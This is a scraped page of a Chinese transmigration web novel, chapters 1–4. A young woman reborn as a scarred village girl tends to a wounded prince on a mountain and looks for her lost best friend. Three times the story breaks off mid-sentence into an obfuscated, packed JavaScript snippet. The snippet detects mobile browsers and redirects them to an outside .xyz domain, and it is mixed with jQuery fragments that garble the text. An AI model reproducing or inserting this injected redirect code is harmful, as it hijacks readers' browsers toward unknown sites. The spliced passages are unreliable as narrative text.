《和闺蜜穿进狗血文》 1. 第 1 章 初春的雨水总是润物细无声。 虽带着许冬末的凉意,夜间淅淅沥沥下个不停时却不惹人心烦。 乡下人都晨起得早,天刚蒙蒙亮,小村庄就活络起来。 袅袅炊烟慢悠悠散入滴水墨似的天空,伴着不知哪家公鸡的打鸣声,热闹,又祥和的安宁。 李婶子今天特地起了个大早,没喊难得睡上一次懒觉的丈夫儿子,自己匆匆吃完早饭就背上了背篓准备出门。 关上自家竹篱笆转身的功夫,正好看见隔壁老沈家同样早起忙碌的那抹纤细身影,扬起笑脸隔着矮墙招呼了两声。 “越丫头!也这么早就起啊?跟婶子一起上山上采蘑菇去吧!这夜春雨刚停,山上的蘑菇指定肥,采些回家尝尝鲜啊!” 她的音量说不上大,但农家篱院大多修的简陋,邻里之间说起话来也没什么忌讳。 话音一落,坐在院子里劈柴的那抹身影就也起了身,三两步到了院门口。 “谢谢婶子好意了,但我阿公这两天夜间总是犯咳疾,我想先去西山那边采些草药,恐怕不能跟婶子一道了。” 老沈家的外孙女今年刚十六岁,正是姑娘家家的好年纪。 虽自小在农家长大,身形却很挺拔,往那一站亭亭玉立。 就是因为家境清贫,在同龄的一群姑娘里总显得纤瘦些。 这丫头前段时间摔了脑袋,足足休养了大半月才恢复过来。 不过,这性子倒是越发讨人喜欢了,不仅比先前开朗了不少,如今见了邻里街坊,也不再像以前那般,扭头就走。 沈时越跟李婶子在门口寒暄了几句,似是又想到什么,让李婶子稍等片刻,匆匆跑回了厨房。 等再出来,手里拎了半只已经剥过皮、清洗干净的野兔子。 “越丫头,你这是?” “前天雨下得大,凑巧冲垮了一个兔子窝,我去菜地里摘菜碰上就都带了回来,一只大的、四只小的,小的我准备养起来,大的一半给我阿公阿婆补身子了,这一半是专门留给婶子你家的。” “这怎么能行?这兔子是你冒着雨捉的,我可不能要!” 李婶子性情淳朴,虽说家里确实是好长时间没沾过荤腥,但从没想过要去占谁家的便宜。 更何况村里人三餐大多粗茶淡饭,兔子肉可是稀罕物,自己就算再馋,也万万不会去昧老沈家孤儿寡老的东西。 “婶子您就拿着吧,平日里您没少帮扶我家,如果不是靠着您时不时送的那些米和菜,我跟阿公阿婆早就撑不下去了。” “而且兔子长得快,一窝生的也多,届时我还想请您跟我一起去市集卖小兔子呢,您不收我的东西,我怎么再好意思找您帮忙?” “这……” “您就拿着吧,我听说李叔崴了脚,这段时间都下不了地,吃些肉说不定还能好的快些,还有小浩,上学堂那么辛苦,您平日里照顾着一大家子忙里忙外,都要吃些荤腥补补才行。” 沈时越知道李婶子性子老实,话音一落,不由分说直接把兔子塞进了她手里。 野兔子肥硕,拎在手里份量很足。 “我还要去西山那边采草药,就不继续跟您聊了,您也快去采蘑菇吧,我看村里的婶子好多都早早去了,您去晚了可就采不到肥的了。” “哎呦!差点忘了这事儿了,那……越丫头,这兔子婶子就收下了,以后家里有什么要帮的只管来找婶子!” “知道了,您快去忙吧。” 最后,李婶子还是拎着半只兔子,喜笑颜开又推开了自家篱笆门。 回头见沈时越还站在家门口笑盈盈目送,视线不自觉又移到她面上常年附着的面纱时,由心生出几分惋惜。 沈家丫头五官长得像她早逝的母亲,尤其是一双眼睛,似含了汪秋水,看人时顾盼生姿。 可惜五六岁的时候,也不知道究竟是跟哪家孩子玩闹摔倒导致的,竟在左脸眼下的地方留了一块暗紫色的瘀疤。 年龄越大,那块瘀疤就越大,十岁之后就不得以日日以面纱覆面示人了。 想到这儿,她不免叹了口气。 心里实打实觉得,如果没有那块显眼的瘀疤,就凭这越丫头的容貌,那县城里的官户人家都是嫁得的…… …… 其实天刚蒙蒙亮,沈时越就起床洗漱,做好了早饭。 背上采药的背篓出门前两个老人家还在睡,所以她离开的脚步很轻。 现世因为职业原因她习惯早起,到这里后依旧坚持这个习惯,是因为想避开熟悉的邻里,免得被看出破绽。 是的,沈时越并不是原来的“沈时越”,她是一个来自异世界的人。 《重生之凤起》是本典型狗血重生文。 男主随时随地想让所有人陪葬,女主重生后依旧眼瞎心盲。 外加舔狗的男三、男四、男五热衷拱火做炮灰,最后结局还能CP配平、happyend,可谓是集所有重生小说经典狗血片段于大体。 沈时越是因为在现世出了车祸,才意外穿进这本小说,身份是这个宁静小村庄的毁容农家女。 无父无母,家境清贫,孤儿寡老,天崩开局。 好在邻里间都是很好的人,沈家两个老人对原主疼爱有加,穿过来的这两个多月,她也慢慢适应了这里的生活。 但,她并不准备长久在这里待下去。 车子侧翻时,她最好的朋友也在车里,既然自己能阴差阳错穿进这个书中世界,那她说不定也来了这里。 自己要找到她。 西边山林并不像李婶子他们去的南边山头土地肥沃,容易生野菇、野菜来。 相反,可以称得上人迹罕至。 高木铺天盖日,但又因为地理位置很容易长些常见的草药。 沈时越上山时特意捡了根拇指粗细的棍子,用来打杂草。 山间阴冷,带着露珠的草叶很容易打湿裙摆,她这一路上走得不是特别顺畅。 这里的空气向来清新,带股新生植物特有的苦涩芬芳。 似是一张密不透风的大网,堂而皇之将其他污秽掩在这片盎然的生机之下。 好不容易到半山腰,绕了一圈,她都没找到治疗咳疾的草药,倒意外采了两颗个头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500467|170318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不小的灵芝。 把这东西拿去药铺换钱,再抓些治疗咳疾的药也是成的。 日头越来越高,山间的温度也升了起来。 背上的背篓足够充盈。 沈时越走山路时间长了,也有些腿酸,她抬头看了眼投进林间的光束,不知怎么的,心中升起股不安感。 估摸着时间已经到了午饭的点,便没再想着往林子更深处去,准备就此打道回府。 下山的路显然要比上山好走得多。 刚下过雨的山林潮湿,雨后气温变暖,在家里窝了一冬天的人开始劳作,同样的,山间某些冬眠的小动物也跟人一样活泛起来。 体型称得上娇小的翠青蛇匍匐在草间,拦路虎般将下山唯一一条好走的路挡的严丝合缝。 小东西还犹不知的嘶嘶吐着蛇信子舒展腰肢,看起来温和无害,也没做出攻击性的举动。 从小到大,就怕蛇这一种动物的沈时越:…… 先前两个月她独自来过西边山林好几次,都没出过意外,以至于让她差点忘了,阴暗的丛林里从不缺喜欢潮湿栖息地的蛇。 蛇这种动物说丑不丑,但若对软体动物敬惠不敏,它本身就是一个极其恐怖的存在。 尤其是突然在阴测测的山间半路上突然窜出来的,能把人吓个魂飞魄散。 沈时越看着离自己只有几丈远的小东西,只觉双腿发抖,唾弃自己来这里后大抵是过得太安逸,警惕性才会降低到如此地步。 本来是准备慢慢退出这条小翠青蛇的视野区,结果也不知道是哪个天杀的急着用土砌墙,竟把这林子里挖了条好几米长的陡坡! 电光火石功夫,她只来得及把背上的背篓抱在怀里,就腿一软,直接从站着的陡坡滚了下去。 “咚!” 不算大的惊叫声扰飞了一群林中栖息的鸟。 山间的干枯的杂草很厚,砸在上面并不疼,但脑子的眩晕感却是实打实。 她缓了会儿才狼狈起身,第一时间先看背篓里抓得那只山鸡有没有丢。 还好还好,大餐都完好无损。 她掉落的地方不算偏僻。 但因为刚刚那只翠青蛇的缘故,她总觉得这座静谧的山里会不时出现一些“惊喜”。 草草整理好背篓就要急匆匆下山。 但可能今天真的不是个出门的黄道吉日。 上山遇蛇掉陡坡,下山的一路上,她心里也都一直不太安稳。 干枯的杂草每一步下去都会发出些许声响,配合着传林而过的阴风,周围竟有些静谧的诡异。 浅色衣摆在丛林中穿梭,原是速度平稳敏捷,可临到山脚下,那略快的脚步声却在某一处忽的停了下来。 沈时越不是什么爱管闲事的性子,可还是不自觉慢慢俯下身,伸手抹了下在某不知名野草叶子上刺眼的红色液体。 刺鼻的血腥味瞬间在鼻尖散开。 她锁起眉,抬头往下山路的斜前方看。 浓艳的的血珠洒在山间新出的嫩草上,猩红的刺眼,淅淅沥沥一直蔓延到某个方向,几乎是连成了一条线…… 2. 第 2 章 沈时越本身并不爱看小说,穿书前也无法理解,现实中的人为什么会如此痴迷一个虚构出的人物。 但得益于某人的死缠烂打,《重生之凤起》这本小说,算是她寥寥无几的言情小说阅读经历里,唯一读完的一本。 所以对里面的主要人物跟情节还算熟悉。 男主寻盛作为狗血复仇文里的典型代表,长相必然是属于邪魅狂狷的一挂,一出场便会是全场焦点。 除了动不动就要全天下人给女主陪葬这一点,其他硬件也算的上一个合格的男主。 女主宋寒依人如其名,是个清冷山茶花似的冰美人,尤其是哭起来的时候自带女主光环,就连眼泪都是成颗掉的。 就是脑子不太好使,明明身后有一整片“森林”眼巴巴等着光顾,非要在男主这棵树上吊死。 男女主前期算是互相利用,后面在多次纠缠中才暗生情愫。 至于这个暗生情愫的过程,里面包含各种误会、世仇、追妻等等,反正非常之狗血。 其余的男三、男四、男五,书中虽并没有特意着墨他们长相如何,但既然能被纳进主角团,大抵最差也能称得上风神俊朗。 只有男二寻清宴,他在原书中的描写不管是长相还是人设,都是一个比较突兀的存在。 怎么说呢,作者对他的某些出场情节,以及样貌描写的详细程度一度甚至超过了男主。 沈时越清楚记得,原书中曾提及过寻清宴的生母曾是东昌国国君的宠妃,初入宫时便深得圣心,生下寻清宴后更是风光无量。 十九年前,突如其来的一场大火把邀月宫烧得一干二净,里面唯二活下来的人只有当时尚在襁褓的寻清宴,和他母族安插在宫里的一名小侍卫。 后文中虽解释过这场火灾确实只是一场意外,可寻清宴这个原本极为受宠的皇子地位却自此一落千丈,十几年不闻不问的境地堪比庶人。 如若不是母族尚在朝中有一席之地,恐怕在宫里连健康活到成年都是难事。 因幼年丧母又早知人世冷暖,寻清宴虽生得一副红梅映温雪的好样貌,却素爱着一身黑衣。 右眼眉尾那颗针尖大小的血痣,更是他面上再明显不过的一个特征。 沈时越心情复杂的看着眼前浑身血淋淋的男人,怎么都没想到,自己最先碰上的主角团的人,一出手就是个王炸。 原书有一个片段是关于皇家的春季围猎,地点定在最为靠近京城地带的朝暮山。 围猎途中寻盛、寻清宴以及其他两名皇子先后遭到刺杀,其中寻清宴伤势最为严重,被弓箭射穿左肩后坠马下落不明。 男主寻盛有主角光环,自然性命无忧,就只伤了一条腿。 但因为不熟悉山中路况兜转大半日未找到出路,最后因为失血过多脱力晕了过去。 她们村子就围在朝暮山山脚下,村民平日里都是南山、西山的叫,差点就让人忘了朝暮山才是这座山的本名。 也是凑巧,如果自己没有阴差阳错从陡坡上摔下来,还不一定能碰上寻清宴。 沈时越慢吞吞起身,眼见着面前的男人出气多进气少,背起地上的背篓就走,丝毫没打算施救的意思。 自己虽说没看过什么言情虐文,但也深知一个道理。 路边的男人不要随便捡,也不要随便救,会变得不幸! “你别怪我狠心,我就是个小喽啰,凡是跟你们这群人沾上点关系的不死也残,我救了你才是真傻子。” 为了避免自己烂圣母心回头再心软,沈时越离开时的脚步明显比来时快了两倍不止。 结果没走多远,又又碰上个昏迷在路中间的人! 很好,虽看不清脸,但金冠束发,红衣张扬,甚是眼熟。 觑了眼这人腿上明显的箭伤,她瞬间倒吸一口冷气。 今儿个究竟是什么晦气日子! 原书男一、男二怎么就这么巧,都让自己碰上了??? 这次她连脚步都没敢停一下,目不斜视绕过倒在地上的人。 快步走了段距离,还是决定用跑的比较安心,直奔山脚下的村子。 开什么玩笑,这男主的破坏力比男二可强了三倍不止! 要是让他知道自己居然见死不救,说不定就要被拉去陪葬了! …… 碧穗炊烟当树直,绿纹溪水趁桥湾。 平岁镇虽算不得上什么富庶之地,但不得不称得上一句山好景好,难得的是在这繁华京城周边闹中取静。 临近晌午,田间许多农户已经扛着农具回了家。 因为下山路上接连碰到男一男二,沈时越比预计时间回村的要晚些。 待推开篱笆门进院子的时候,两个老人都已经把午饭做好了。 “阿婆,我临走前不是说了,如果回来的晚你跟阿公就先吃些糕点,午饭我回来做吗?” “只是烧个火,哪里就能累着了?再说还有你阿公帮着呢,怎么着也能让我们家越越回来吃上口热乎饭。” 沈阿婆今年五十有六,是个体型干瘦甚至有些佝偻的老妇人。 但一头花白发总是梳得很整齐,身上打着补丁的衣服也总是干干净净,笑起来慈眉善目。 两个老人是真心在疼原主这个外孙女。 虽然年事已高,身体也不怎么好,却一直做着力所能及的事,好让外孙女少操劳些。 沈时越卸下背上的背篓放在厨房角落里,伸手替沈阿婆接了盛饭的活。 米饭是刚蒸出来的,还冒着热气,配菜是两样简单的炒时蔬。 清清淡淡,却已是这个家里难得的美味。 沈阿公喂完后棚里的小兔子也进了厨房,见外孙女回了家,脸上的笑就没断过。 “越越回来了,隔壁李家媳妇说你一大早就进西山了,那边儿树多山路也不好走,有没有受伤?” “没有,就是没找到野甘草。” 沈时越也笑着把老人拉到小餐桌前坐下,“但是西山那边的蒲公英挺多,等下午我处理干净了,晚上给你和阿婆拌了凉菜再煮个汤,阿公你夜间老是咳嗽,要多喝一些。对了,我还挖了两颗灵芝,抓了只野鸡呢,野鸡的话今天就太晚了,等我处理干净,明天再做成鸡汤。” “你这丫头!那山里的野鸡凶得很,你一个姑娘家的要是被抓伤了怎么办!?你、你怎么还敢去抓它啊!?” 沈阿婆原先都已经坐下准备吃饭了,一听沈时越说抓了野鸡,瞬间又气又急。 “你跟阿婆说实话,是真没伤到?” “真的没伤到,您别担心,我是跟李叔学过法子才敢去抓野鸡的,不会让自己伤到。” 沈时越知道她是在关心自己,耐着性子解释了一番。 可话是这样说没错,沈阿婆还是有些觉得她是怕自己担心没肯透漏实话,直到把人拉到房间胳膊、腿都检查了一遍,才彻底放心。 午饭用完,沈时越在院子里处理上午从山间采到的草药,两个老人家揽了洗碗的活,留在厨房里擦擦涮涮。 沈阿婆隔着厨房窗户,看了院子里忙碌的身影一眼,回想起这段时间发生的种种,越来越觉得哪里有些不对劲。 “老头子,你说咱们越越自从两个多月前摔了脑袋后,怎么性子变的越发不像从前了?” “哪变了?” 沈阿公年轻时是个木匠,做什么活都细致,如今虽两鬓雪白已却依旧改不了这个习性。 他慢悠悠把灶前散开的干柴整理了一遍,又起身去擦早就擦的光亮的木头饭桌,晃晃悠悠没一刻让自己闲着。 看得出来,不怎么想接老伴儿的话。 但沈阿婆显然没想就此打住,絮絮叨叨的一一列举着外孙女这段时间的不寻常。 “越越以前性子多软啊,别人骂她两句,她能急得半天都接不上来。但一个月前村里的李无赖隔着篱笆对她说了两句浑话,她直接拎着砍柴刀就追了出去,那刀就差一寸就砍到李无赖脖子上了!” “还有前几天下暴雨,咱家围院子的篱笆被风吹倒了,她当时不仅冒着雨把篱笆扶了起来,甚至还给地基加了牢,那可是纯竹木的篱笆啊,少说也有几十斤重,咱们家越越以前力气有这么大吗?” “越越以前见了肉甭说是什么动物的,只要能吃的就没有下不去嘴的,但前几天她不是逮了窝野兔子吗,那母兔子都让水冲死了她都不敢下手剥皮,最后还是你来的……” “还有,还有今天,越越以前明明最怕进山里,结果她今天一个人不声不响就进了西山,还去抓野鸡!老头子,我这心里怎么想都觉得不踏实……” “有什么不踏实的,越越身上胎记跟痣的位置你最清楚,之前不是已经看过了吗?” 沈阿公慢悠悠出声接了沈阿婆的话,拎着小木扎坐到了厨房门口。 今天的天气实在好,临到下午日头还金灿灿的散着余热。 寒冬过去了,接下来一年的日子都会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500468|170318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好过许多。 他一面晒着太阳,一面小声劝慰老伴儿:“你啊就别想那么多了,越越不是越越还能是谁。更何况我觉得越越现在也挺好的,她以前性子太软,老是受欺负……” 话止于此,沈阿婆沉默了下来。 她回厨房也拎了个小木扎坐到沈阿公身边,同他一起默默注视了片刻院子里那到忙碌的身影。 家里以前的生活是怎样的呢? 吃不上饭是常有的事,好多次都是靠隔壁李家媳妇接济才勉强支撑下去。 沈时越因为脸上的瘀疤总会受到村里同龄姑娘排挤,这些年性子愈发懦弱。 他们老两口这几年身体都不太行,也帮孩子出不了头。 孤儿寡老生活的艰难,家里有多久没听见过笑声了? 太久了。 尤其是今年的冬季格外漫长,冷到骨头缝都在疼。 她这外孙女当时是因为大半年没吃过肉,又正值年间实在馋到不行,才会偷偷跑到田间碰碰运气。 没成想会直接从河堤上滚下去磕伤脑袋,昏迷了整整一天才清醒过来。 好像从那时候起,她的性格就开始慢慢变了。 沈阿婆搓了搓膝盖上新套的棉护膝。 护膝的针脚有些粗,可以看得出来做这个人的针线活并不好,但里面的棉花塞的很扎实,尺寸也刚刚好,能感觉出来是用了心的。 她叹了口气,不再提及外孙女性格大变的事,最后只说了句不知道是不是自言自语的话。 “不管是不是越越,她都是我们的外孙女啊……” …… 两个老人思绪万千的时候,看似忙碌的沈时越心里其实也并不平静。 她自认为自己从不是个爱做滥好人的圣母心,但自从西山回来,脑子里却总会时不时想起在山间看到的那副场景。 漂亮如谪仙般的男人面色苍白如纸,呼吸弱到趋近于无,连眉尾那颗红痣都暗淡了下来。 他就那样了无生机的躺在山间新出的草地上,眉目如画。 如果不是唇和半张脸上都沾了血,更像是偶然遗落凡间的某个得了道的山灵精怪。 寻清宴肩膀那处被箭矢贯穿的伤确实很重,血污了大半个身子,将身上原本内敛的黑衣都染成了红黑色。 如果继续放任不管,不出一日,身子大概率会因为失血亏空严重。 就算日后捡回一条性命,接下来数年估计也都要与汤药为伴了。 “没关系的,寻清宴可是男二,就算自己不救,女主也会去救他的。” 沈时越回了神,努力说服自己,不要侥幸尝试跟主角团的任何人扯上关系。 但又不自觉想到好友在自己面前提过好几次的,寻清宴的书中结局。 “我的清宴男神可真是太惨了,爹不疼,娘爱不成,最后以皇子身份为东昌国百姓请愿开粮仓还落得个谋逆的罪名……” “寻清宴虽然身世凄惨,但从不怨天尤人,难得的他还没什么皇子架子,对什么身份的人都能温和相待,他可是全书死的最冤的……” “……” 转头想到那人出气多进气少的情况,沈时越又开始咬指甲了。 “不会不会,书里说了女主去朝暮山找男主的时候也救了寻清宴,所以后来寻清宴才会答应女主,去代替男主请东昌国君开粮仓救人。” 不过,她怎么好像记得女主开始的时候并没有遇到寻清宴,是在男主被救回后,主角团里某个炮灰发现还少了个人,女主凭直觉又回了次朝暮山,才阴差阳错把人救了下来。 嗯……就很主角光环。 最后男主平安无事,寻清宴因为救治不及时经脉受损,终生都不能再习武。 “……” “关我什么事,反正他身上的伤又不是我害的……” “可他是个好人啊……结局不该是那样的……” “……” “淦!我为什么要有这该死的良心!” 要是没碰上就算了,可偏偏自己就是碰上了! 如果寻清宴以后真的因为自己的见死不救变成病秧子…… 想到这儿,沈时越是彻底坐不下去了,急匆匆回房把家里能止血的草药全都翻了出来。 “阿公阿婆我要出趟门!很快就回来,院子里的草药你们先帮我晒起来,野菜就先放着,等我回来再洗。” “唉越越你去哪啊?这孩子!” …… 3. 第 3 章 也亏得朝暮山西边山林人迹罕至,村里的村民没事也不会特意绕远路到这里来。 等沈时越再回遇上寻清宴跟男主的地方,两人都还原封不动的晕在原处。 再次目不斜视绕过男主,她先站离寻清宴两丈远的位置,用早上上山时捡到的棍子戳了戳他的手指。 确认这人一时半会儿都没醒过来的可能性,才小心翼翼靠近了些。 “算我倒霉,救你也不求什么恩报,以后别命不是命的跟着男女主发疯,动不动让这个那个陪葬就成。” 古人的衣服本就繁琐,再加上主人身量颀长,光是褪去寻清宴左肩伤处那片的衣物都费了不少功夫。 这期间沈时越虽然一直在催眠自己是在救人、绝对没想过占书中男二便宜,但等实实在在看清楚他的伤势,眉心还是一跳。 这人在山间躺了少说也得有两天,肩膀上被箭矢捅穿的那个窟窿狰狞可怖,浑身得血几乎都快流干了,脉象也弱到几乎探不出来。 前天和昨天晚上都下过雨,让他本就血肉模糊的伤口沾了雨水后发脓,烂肉一直在扩散。 沈时越伸手碰了下他的额头,果不其然滚烫一片。 “命可真大,这要是在现代,都该准备办后事了……” 先用匕首割了溃脓的烂肉,又用浊酒把伤口以及周围的皮肤都擦拭了一遍。 这期间寻清宴大概是对疼痛有反应,但因为伤得太重,只是手指动了两下。 她带来的止血草药有些是晒干过的,磨出的粉末粗粝,还有些是前两日刚采的,带着新鲜的嫩叶。 也不知道哪种药效好使,索性先用药粉扎扎实实盖住伤口,又撵了些新鲜的草药也敷了上去。 这个时候没有医用纱布可用,她就用干净的棉布条把伤口简单包扎了下。 做完这些,高悬日头才开始慢慢往下落。 天色尚早,满手的血污没地方洗。 怕回村的路上再遇上什么人吓到对方,沈时越收拾完东西也没着急走,坐在枯草堆上看着眼前昏迷不醒的男人出神。 话说,寻清宴跟男主寻盛可是货真价实的亲兄弟,虽然生母不同,但容貌却也有三分相似。 即使没有机会见到真人,但她觉得十几年前在邀月宫被烧死的那位宠妃,必定是个我见犹怜的绝世美人。 寻清宴剩下的几分容貌估计都是像了她,即使这会儿昏迷狼狈,一张沾了血污的脸依旧足够吸引人。 没有男主寻盛那般看起来盛气凌人,给人的感觉,好似是某种没有棱角的小动物,不自觉惹人心软。 “我能做的也就只有这些了,希望能撑到其他人来找你。” 反正寻清宴这会儿昏着听不见声音,一想到这人书中原结局凄惨异常,她没忍住,话莫名就多了起来。 “全书就你一人活得惨兮兮,好好活着别再去沾男女主的事不好吗?” “更何况女主也不算救了你吧,如果不是她先急着救男主把人都带了回去,说不定你还能早点被人发现获救?” 说来也奇怪。 男主跟寻清宴昏迷的位置只相隔几十丈远,只不过一个正好晕在山路中间,一个晕在杂草丛生的林子里。 但搜寻的人只要耐心些,其实也不难找到同样受伤的寻清宴。 归根揭底,这个美强惨男二的不幸只能解释为男主的主角光环太过强大,才落了个原书那样的结局。 “……谋逆之罪,还英年早逝……啧,真惨,报恩也不是这个报法啊。” “我这也算救了你半条命吧?以后……别再这么不惜命了……” “……” “?不对,你可是主角团里的一员,我干嘛要同情你???” 沈时越倏地起身,把满是血的爪子随意在杂草上蹭了蹭,深感此地不宜久留。 怎么看了会儿寻清宴,脑子都不太清明了? 本来她人都已经准备离开了,但看地上昏着的那人半个肩膀还露在外面,又觉得不帮忙把衣服穿回去,实在有碍观瞻。 不过脱衣容易穿衣难,如今他肩膀上还缠了一层棉布,要按怎么脱得、怎么穿上去是不行了。 沈时越只好又解了他的腰封,费了好一番功夫才让一切回归原位。 就是也不知道是不是她折腾的太狠了,原先无意识昏迷的人眉头竟然蹙了蹙,哑着嗓子几不可闻的叫了一声。 “水……” ??? 沈时越被吓了一跳,看他眼睛都没睁开,才发现这人喊渴只是下意识的本能。 “好险好险,你要是真醒了我还得把你打晕过去。” 她来时带了一瓦罐的水,本是给寻清宴洗伤口用的,最后还剩下了一些。 直接让人对着罐口喝水不太方便,她就把人扶靠在自己肩膀上,卷了大一些的野草叶一点点喂。 直至日薄西山。 把又昏过去的人摆回原来的位置,她才终于得以脱身回家。 路过昏迷的男主时,她这次脚步顿了顿,怀着好奇的目的也在他额头上探了下。 很好,不愧是男主,身体素质强悍如斯。 连起热都没起热,也不知道昏得哪门子迷。 …… 自那日一别,沈时越连着三四天都没再去西边山林。 一来,是怕碰见来找男主的女主,二来,怕昏着的那两个人万一有哪个提前醒过来,自己都得玩儿完。 这日李婶子去田间摘青菜,路过老沈家门口,看沈时越在院子里捣鼓她前些天采回来的那些草药,顺手把筐里的菜也塞了一把给她。 “越丫头,我过两天要去集市,你要不要一起去,买些米面什么的?” 李婶子家里养的母鸡多,攒够了鸡蛋就会到镇里的集市上卖。 这事儿沈时越不仅知道,先前还跟着一起去过不少次。 正巧,前几天挖到的那两棵灵芝也该换些银两了。 天气渐暖,家里两个老人的新春衣要早些安排上。 想到这她接菜的手没客气,回屋包了几块糕点又塞回了李婶子的篮子里。 “糕点您带回去给小浩尝尝,到时候去集市要劳烦婶子帮忙找牛车了。” “嗐!这有什么的,到时候婶子肯定会提前通知你。” 说实话,古人的集市相较现世的集市都还要热闹一些。 各种吆喝的叫卖声此起彼伏,街边热食店水雾朦胧。 大家买卖得物品都很生活化,因为商贩之间互相认识价格也不会虚高,有些甚至可以以物换物。 东西的种类肯定是比不上现代,难得的是这几分烟火气。 两日一晃而过,到了约定那天,沈时越跟李婶子一进城就先去了趟药铺。 灵芝这东西品种有好有坏。 来这里这么久,她只卖过一些寻常草药,像灵芝这种药材还是第一次卖,需要李婶子帮忙把把关。 “品相勉强算得中上等,个头也不是很大……” 她们找的这家药铺掌柜是镇里一位很出名的良医,据说实际年龄已六十有余,但精气神比一些青年还足,留着一把花白的长须,看起来很有仙风道骨的意味。 品观两棵灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们口中所说的许家原先在周边镇子里是一再寻常不过的民户,但因为有个貌美贤惠的小女儿,十几年前被路过的顾姓富商儿子看上,日子就渐渐好了起来。 大家都是一样的出身,许家两口子借着女婿的势几乎一夜鸡犬升天,难免遭人嫉妒。 可众人待听闻那所谓的乘龙快婿只不过是一商贾人家,心里的一口气像是找到了微妙的平衡点,一下子群起而攻之。 但明事理的显然也大有人在。 “婶子,你这话说的不对吧,人许家女婿在京城可是皇商,做的是做天家买卖,跟咱们这些小商贩可不一样。” 插话的是个年轻小伙子,肩上还背着书袋,似乎对京城的商贾地位之分有些了解,好意劝慰几个大娘不要再把这种事当玩笑讲出来。 “如今当朝国君并非像前朝那般轻商,皇商一定程度上也代表着皇家的颜面,婶子们今后可千万不要再妄言许家的事了。” “……晓得了晓得了,我这……这不是也没说什么……” 先提及这件事的婶子显然还有些不服气,但那年轻人却也没再说什么,只轻叹了声摇摇头便离开了。 沈时越离得近,把事情听了个全须全尾,心下其实挺好奇她们嘴里的那个许家。 平岁镇虽是个依山乡下之地,但也勉强可以称之地处天子脚下。 相较其他地方,镇里的百姓生活要好上的多。 但这个许家既然能被镇民如此堂而皇之带着艳羡提及,可见如今家底确实丰厚。 皇商啊…… 4. 第 4 章 馄饨吃完,李婶子还要去卖鸡蛋,沈时越想去杂货铺买些布料跟棉花,两个人就分了开。 这两天日头升得早,窝了一冬天的人都喜欢出门活动活动。 尤其巳时是上午最暖和的时候,市集上这个点也最闹哄哄。 以往人流多起来,街道堵塞是很平常的事,沈时越起先并没有发觉,周边人渐渐涌向某处有什么不对劲。 一些大娘婶子们你挤我推,逛街的年轻人个个伸着脖子就算了,怎么一些商贩好像也凑起了热闹? 直到一阵温顺的马蹄声落在身后的不远处,紧接着中年男人谄媚的讨好声穿透耳膜,沈时越才惊觉这次的热闹主角身在何处。 “顾小姐远道而来光临小店,简直让小店蓬荜生辉啊!无奈时间实在匆忙,招待不周还望顾小姐海涵……” “哼!别想着讨好本小姐,我阿爹产业众多分身乏术、京城与平岁镇又相隔数公里,才有了让你们这些人假借不廉的机会!我既已接手镇子里的这些产业,今后有的是时间来这边查账。” “记住,半个月内将亏空的账目补齐,这次做假账的事就可以先放过你们,日后若再有犯,别怪顾家不给你们留情面!” 少女的声音娇俏,可说出的话却让铺子掌柜忍不住捏了把汗。 起先,得知这次来查账目的人是顾家大小姐时,他还舒了一口气。 想着就算再怎么早慧,左右也不过一个十几岁的小丫头片子,哪里玩得过他们这些老油条? 顾家虽做天子买卖,但手里也有不少各类商铺遍及大半东昌国。 平岁镇说起来还是沾了许家的光,能比寻常价格低上一成,租赁到顾家名下的商铺门面。 可惜贪心不足蛇吞象,这点便利倒是养大了这些代掌柜的胃口。 “是是是……顾小姐教训的是,以后绝对不会再犯……不知顾小姐最近可否有时间,咱们平岁镇虽说比不上京城,但还是不少特产佳肴的……” “不必了,本小姐过两天要回京城,吃饭以后有的是机会。” 沈时越离这两人的距离不算近,只隐隐约约能听到些只言片语。 顾家? 难道是馄饨铺那些大娘口中提及的那个顾家? 京城里的人到乡下镇子里来本就是稀罕事儿,尤其主角还是这段时间狠狠出过风头的许家女婿。 这下真是卖菜的也不卖菜了,叫嚷招呼顾客的也不招呼了,一股脑的都涌到了浮水当铺门口看顾家女儿的热闹。 沈时越被人流无意识推搡着往那边移了段距离,再抬头之际,正好瞧见刚才说话的那位小姐被婢女搀扶着上马车。 顾家女儿不愧是富贵人家养出来的小姐,十六七岁的少女嫩得能掐出水来。 她身上穿的衣服大概是京城里最时兴的料子,翠绿的罗裙套装颜色极好,斜插入鬓的流苏珠钗璀璨夺目,发间跟罗裙同色系的丝带轻轻扬起。 站在熙熙攘攘的乡下市集里,就好似一滴无意间落进水墨画的彩色,灵动的生机勃勃。 沈时越看着少女那张灵动娇俏的脸怔愣了片刻,原先面上的兴致缺缺瞬间一扫而空,眼睛里甚至多了几分堪称惊悚的诧异。 人体的生长周期一直以来是个迷,有的人十几岁长相身高完全定型,有的人二十几岁还在经历二次发育。 但只要没动过刀子,二十几岁的面容或许会跟十几岁时有些出入,大体上却不会怎么变化。 